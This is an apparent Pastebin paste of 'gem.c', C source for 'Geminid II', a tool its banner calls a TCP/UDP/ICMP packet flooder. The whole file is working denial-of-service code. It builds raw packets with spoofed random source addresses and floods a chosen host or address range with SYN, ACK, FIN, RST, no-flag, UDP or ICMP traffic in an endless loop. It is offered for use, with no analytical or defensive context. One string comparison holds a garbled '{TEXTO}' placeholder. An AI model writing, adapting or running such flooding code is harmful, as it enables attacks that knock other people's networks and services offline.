vap0r

gem.c

Feb 12th, 2015
422
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 11.89 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>
  4. #include <netdb.h>
  5. #include <sys/types.h>
  6. #ifdef F_PASS
  7. #include <sys/stat.h>
  8. #endif
  9. #include <netinet/in_systm.h>                                                  
  10. #include <sys/socket.h>
  11. #include <string.h>
  12. #include <time.h>
  13. #ifndef __USE_BSD
  14. #   define __USE_BSD
  15. #endif
  16. #ifndef __FAVOR_BSD
  17. #   define __FAVOR_BSD
  18. #endif
  19. #include <netinet/in.h>
  20. #include <netinet/ip.h>
  21. #include <netinet/tcp.h>
  22. #include <netinet/udp.h>
  23. #include <netinet/ip_icmp.h>
  24. #include <arpa/inet.h>
  25. #ifdef LINUX
  26. #   define FIX(x)  htons(x)
  27. #else
  28. #   define FIX(x)  (x)
  29. #endif
  30. #define TCP_ACK         1
  31. #define TCP_FIN         2
  32. #define TCP_SYN         4
  33. #define TCP_RST         8
  34. #define UDP_CFF        16
  35. #define ICMP_ECHO_G    32
  36. #define TCP_NOF        64 /* -N */
  37. /* No flag attack */
  38. #define TH_NOF         0x0
  39. #define TCP_ATTACK()    (a_flags & TCP_ACK ||\
  40.                          a_flags & TCP_FIN ||\
  41.                          a_flags & TCP_SYN ||\
  42.                          a_flags & TCP_RST ||\
  43.                          a_flags & TCP_NOF)
  44. #define UDP_ATTACK()    (a_flags & UDP_CFF)
  45. #define ICMP_ATTACK()   (a_flags & ICMP_ECHO_G)
  46. #define CHOOSE_DST_PORT() dst_sp == 0 ?\
  47.                           random ()   :\
  48.                           htons(dst_sp + (random() % (dst_ep -dst_sp +1)));
  49. #define CHOOSE_SRC_PORT() src_sp == 0 ?\
  50.                           random ()   :\
  51.                           htons(src_sp + (random() % (src_ep -src_sp +1)));
  52. #define SEND_PACKET()   if (sendto(rawsock,\
  53.                                    &packet,\
  54.                                    (sizeof packet),\
  55.                                    0,\
  56.                                    (struct sockaddr *)&target,\
  57.                                     sizeof target) < 0) {\
  58.                                         perror("sendto");\
  59.                                         exit(-1);\
  60.                         }
  61. /* Linux / SunOS x86 / FreeBSD */
  62. //#define BANNER_CKSUM 54018
  63. /* SunOS Sparc */
  64. #define BANNER_CKSUM 723
  65. u_long lookup(const char *host);
  66. unsigned short in_cksum(unsigned short *addr, int len);                        
  67. static void inject_iphdr(struct ip *ip, u_char p, u_char len);
  68. char *class2ip(const char *class);
  69. static void send_tcp(u_char th_flags);
  70. static void send_udp(u_char garbage);
  71. static void send_icmp(u_char garbage);
  72. char *get_plain(const char *crypt_file, const char *xor_data_key);
  73. static void usage(const char *argv0);
  74. u_long dstaddr;
  75. u_short dst_sp, dst_ep, src_sp, src_ep;
  76. char *src_class, *dst_class;
  77. int a_flags, rawsock;
  78. struct sockaddr_in target;
  79. const char *banner = "Geminid II. by live [TCP/UDP/ICMP Packet flooder]";
  80. struct pseudo_hdr {        
  81.     u_long saddr, daddr;    
  82.     u_char mbz, ptcl;      
  83.     u_short tcpl;          
  84. };
  85. struct cksum {
  86.     struct pseudo_hdr pseudo;
  87.     struct tcphdr tcp;
  88. };
  89. struct {
  90.     int gv; /* Geminid value */
  91.     int kv; /* Kernel value */
  92.     void (*f)(u_char);
  93. } a_list[] = {
  94.     { TCP_ACK, TH_ACK, send_tcp },
  95.     { TCP_FIN, TH_FIN, send_tcp },
  96.     { TCP_SYN, TH_SYN, send_tcp },
  97.     { TCP_RST, TH_RST, send_tcp },
  98.     { TCP_NOF, TH_NOF, send_tcp }, /* No flag attack */
  99.     { UDP_CFF, 0, send_udp },
  100.     { ICMP_ECHO_G, ICMP_ECHO, send_icmp },
  101.     { 0, 0, (void *)NULL },
  102. };
  103. int
  104. main(int argc, char *argv[])
  105. {
  106.     int n, i, on = 1;
  107.     int b_link;
  108. #ifdef F_PASS
  109.     struct stat sb;
  110. #endif
  111.     unsigned int until;
  112.     a_flags = dstaddr = i = 0;
  113.     dst_sp = dst_ep = src_sp = src_ep = 0;
  114.     until = b_link = -1;
  115.     src_class = dst_class = NULL;
  116.     while ( (n = getopt(argc, argv, "T:UINs:h:d:p:q:l:t:")) != -1) {
  117.         char *p;
  118.         switch (n) {
  119.             case 'T':
  120.                 switch (atoi(optarg)) {
  121.                     case 0: a_flags |= TCP_ACK; break;
  122.                     case 1: a_flags |= TCP_FIN; break;
  123.                     case 2: a_flags |= TCP_RST; break;
  124.                     case 3: a_flags |= TCP_SYN; break;
  125.                 }
  126.                 break;
  127.             case 'U':
  128.                 a_flags |= UDP_CFF;
  129.                 break;
  130.             case 'I':
  131.                 a_flags |= ICMP_ECHO_G;
  132.                 break;
  133.             case 'N':
  134.                 a_flags |= TCP_NOF;
  135.                 break;
  136.             case 's':
  137.                 src_class = optarg;
  138.                 break;
  139.             case 'h':
  140.                 dstaddr = lookup(optarg);    
  141.                 break;
  142.             case 'd':
  143.                 dst_class = optarg;
  144.                 i = 1;
  145.                 break;
  146.             case 'p':
  147.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  148.                     usage(argv[0]);
  149.                 dst_sp = atoi(optarg);
  150.                 dst_ep = atoi(p +1);  
  151.                 break;
  152.             case 'q':
  153.                 if ( (p = (char *) strchr(optarg, ',')) == NULL)
  154.                     usage(argv[0]);
  155.                 src_sp = atoi(optarg);
  156.                 src_ep = atoi(p +1);
  157.                 break;
  158.             case 'l':
  159.                 b_link = atoi(optarg);
  160.                 if (b_link <= 0 || b_link > 100)
  161.                     usage(argv[0]);
  162.                 break;
  163.             case 't':
  164.                 until = time(0) +atoi(optarg);
  165.                 break;
  166.             default:
  167.                 usage(argv[0]);
  168.                 break;
  169.         }
  170.     }
  171.     if ( (!dstaddr && !i) ||
  172.          (dstaddr && i) ||
  173.          (!TCP_ATTACK() && !UDP_ATTACK() && !ICMP_ATTACK()) ||
  174.          (src_sp != 0 && src_sp > src_ep) ||
  175.          (dst_sp != 0 && dst_sp > dst_ep))
  176.             usage(argv[0]);
  177.     srandom(time(NULL) ^ getpid());
  178.     if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  179.         perror("socket");
  180.         exit(-1);
  181.     }
  182.     if (setsockopt(rawsock, IPPROTO_IP, IP_HDRINCL,
  183.         (char *)&on, sizeof(on)) < 0) {
  184.             perror("setsockopt");
  185.             exit(-1);
  186.     }
  187.     target.sin_family           = AF_INET;
  188.     for (n = 0; ; ) {
  189.         if (b_link != -1 && random() % 100 +1 > b_link) {
  190.             if (random() % 200 +1 > 199)
  191.                 usleep(1);
  192.             continue;
  193.         }
  194.         for (i = 0; a_list[i].f != NULL; ++i) {
  195.             if (a_list[i].gv & a_flags)
  196.                 a_list[i].f(a_list[i].kv);
  197.         }        
  198.         if (n++ == 100) {
  199.             if (until != -1 && time(0) >= until) break;
  200.             n = 0;
  201.         }
  202.     }          
  203.     exit(0);
  204. }
  205. u_long
  206. lookup(const char *host)
  207. {
  208.     struct hostent *hp;
  209.  
  210.     if ( (hp = gethostbyname(host)) == NULL) {
  211.         perror("gethostbyname");
  212.         exit(-1);
  213.     }
  214.     return *(u_long *)hp->h_addr;
  215. }
  216. #define RANDOM() (int) random() % 255 +1
  217. char *
  218. class2ip(const char *class)
  219. {
  220.     static char ip[16];
  221.     int i, j;
  222.  
  223.     for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
  224.         if (class[i] == '.')
  225.             ++j;
  226.     switch (j) {
  227.         case 0:
  228.             sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
  229.             break;
  230.         case 1:
  231.             sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
  232.             break;
  233.         case 2:
  234.             sprintf(ip, "%s.%d", class, RANDOM());
  235.             break;
  236.         default: strncpy(ip, class, 16);
  237.                  break;
  238.     }
  239.     return ip;
  240. }
  241. unsigned short
  242. in_cksum(unsigned short *addr, int len)
  243. {
  244.     int nleft = len;
  245.     int sum = 0;
  246.     unsigned short *w = addr;
  247.     unsigned short answer = 0;
  248.     while (nleft > 1) {
  249.         sum += *w++;
  250.         nleft -= 2;
  251.     }
  252.     if (nleft == 1) {
  253.         *(unsigned char *) (&answer) = *(unsigned char *)w;
  254.         sum += answer;
  255.     }
  256.     sum    = (sum >> 16) + (sum & 0xffff);  
  257.     sum   += (sum >> 16);                  
  258.     answer = ~sum;                        
  259.     return answer;
  260. }
  261. static void
  262. inject_iphdr(struct ip *ip, u_char p, u_char len)
  263. {
  264.     ip->ip_hl             = 5;
  265.     ip->ip_v              = 4;
  266.     ip->ip_p              = p;
  267.     ip->ip_tos            = 0x08; /* 0x08 */
  268.     ip->ip_id             = random();
  269.     ip->ip_len            = len;
  270.     ip->ip_off            = 0;
  271.     ip->ip_ttl            = 255;
  272.     ip->ip_dst.s_addr     = dst_class != NULL ?
  273.                             inet_addr(class2ip(dst_class)) :
  274.                             dstaddr;
  275.     ip->ip_src.s_addr     = src_class != NULL ?
  276.                             inet_addr(class2ip(src_class)) :
  277.                             random();
  278.     target.sin_addr.s_addr = ip->ip_dst.s_addr;
  279. }    
  280. static void
  281. send_tcp(u_char th_flags)
  282. {
  283.     struct cksum cksum;
  284.     struct packet {
  285.        struct ip ip;
  286.         struct tcphdr tcp;
  287.     } packet;
  288.     memset(&packet, 0, sizeof packet);
  289.     inject_iphdr(&packet.ip, IPPROTO_TCP, FIX(sizeof packet));
  290.     packet.ip.ip_sum        = in_cksum((void *)&packet.ip, 20);
  291.     cksum.pseudo.daddr      = dstaddr;
  292.     cksum.pseudo.mbz        = 0;
  293.     cksum.pseudo.ptcl       = IPPROTO_TCP;
  294.     cksum.pseudo.tcpl       = htons(sizeof(struct tcphdr));
  295.     cksum.pseudo.saddr      = packet.ip.ip_src.s_addr;
  296.     packet.tcp.th_flags     = 0;
  297.     packet.tcp.th_win       = htons(65535);
  298.     packet.tcp.th_seq       = random();
  299.     packet.tcp.th_ack       = 1;
  300.     packet.tcp.th_flags     = th_flags;
  301.     packet.tcp.th_off       = 5;
  302.     packet.tcp.th_urp       = 0;
  303.     packet.tcp.th_sport     = CHOOSE_SRC_PORT();
  304.     packet.tcp.th_dport     = CHOOSE_DST_PORT();
  305.     cksum.tcp               = packet.tcp;
  306.     packet.tcp.th_sum       = in_cksum((void *)&cksum, sizeof(cksum));
  307.     SEND_PACKET();
  308. }
  309. static void
  310. send_udp(u_char garbage)
  311. {                      
  312.     struct packet {
  313.         struct ip ip;
  314.         struct udphdr udp;
  315.     } packet;
  316.     memset(&packet, 0, sizeof packet);
  317.     inject_iphdr(&packet.ip, IPPROTO_UDP, FIX(sizeof packet));
  318.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  319.     packet.udp.uh_sport         = CHOOSE_SRC_PORT();
  320.     packet.udp.uh_dport         = CHOOSE_DST_PORT();
  321.     packet.udp.uh_ulen          = htons(sizeof packet.udp);
  322.     packet.udp.uh_sum           = 0;
  323.     SEND_PACKET();
  324. }
  325. static void
  326. send_icmp(u_char gargabe)
  327. {
  328.     struct packet {
  329.         struct ip ip;
  330.         struct icmp icmp;
  331.     } packet;
  332.     memset(&packet, 0, sizeof packet);
  333.     inject_iphdr(&packet.ip, IPPROTO_ICMP, FIX(sizeof packet));
  334.     packet.ip.ip_sum            = in_cksum((void *)&packet.ip, 20);
  335.     packet.icmp.icmp_type       = ICMP_ECHO;
  336.     packet.icmp.icmp_code       = 0;
  337.     packet.icmp.icmp_cksum      = htons( ~(ICMP_ECHO << 8));
  338.     SEND_PACKET();
  339. }
  340. static void
  341. usage(const char *argv0)
  342. {
  343.     printf("%s \n", banner);
  344.         printf("    -U UDP   attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  345.         printf("    -I ICMP  attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  346.         printf("    -N Bogus attack                         \e[1;37m(\e[0m\e[0;31mno options\e[0m\e[1;37m)\e[0m\n");
  347.         printf("    -T TCP   attack         \e[1;37m[\e[0m0:ACK, 1:FIN, 2:RST, 3:SYN\e[1;37m]\e[0m\n");
  348.         printf("    -h destination host/ip                  \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  349.         printf("    -d destination class                        \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  350.         printf("    -s source class/ip                          \e[1;37m(\e[m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  351.         printf("    -p destination port range [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  352.         printf("    -q source port range      [start,end]       \e[1;37m(\e[0m\e[0;31mrandom\e[0m\e[1;37m)\e[0m\n");
  353.         printf("    -l pps limiter                            \e[1;37m(\e[0m\e[0;31mno limit\e[0m\e[1;37m)\e[0m\n");
  354.         printf("    -t timeout                              \e[1;37m(\e[0m\e[0;31mno default\e[0m\e[1;37m)\e[0m\n");
  355.     printf("\e[1musage\e[0m: %s [-T0 -T1 -T2 -T3 -U -I -h -p -t]\n", argv0);
  356.     exit(-1);
  357. }
Advertisement
Add Comment
Please, Sign In to add comment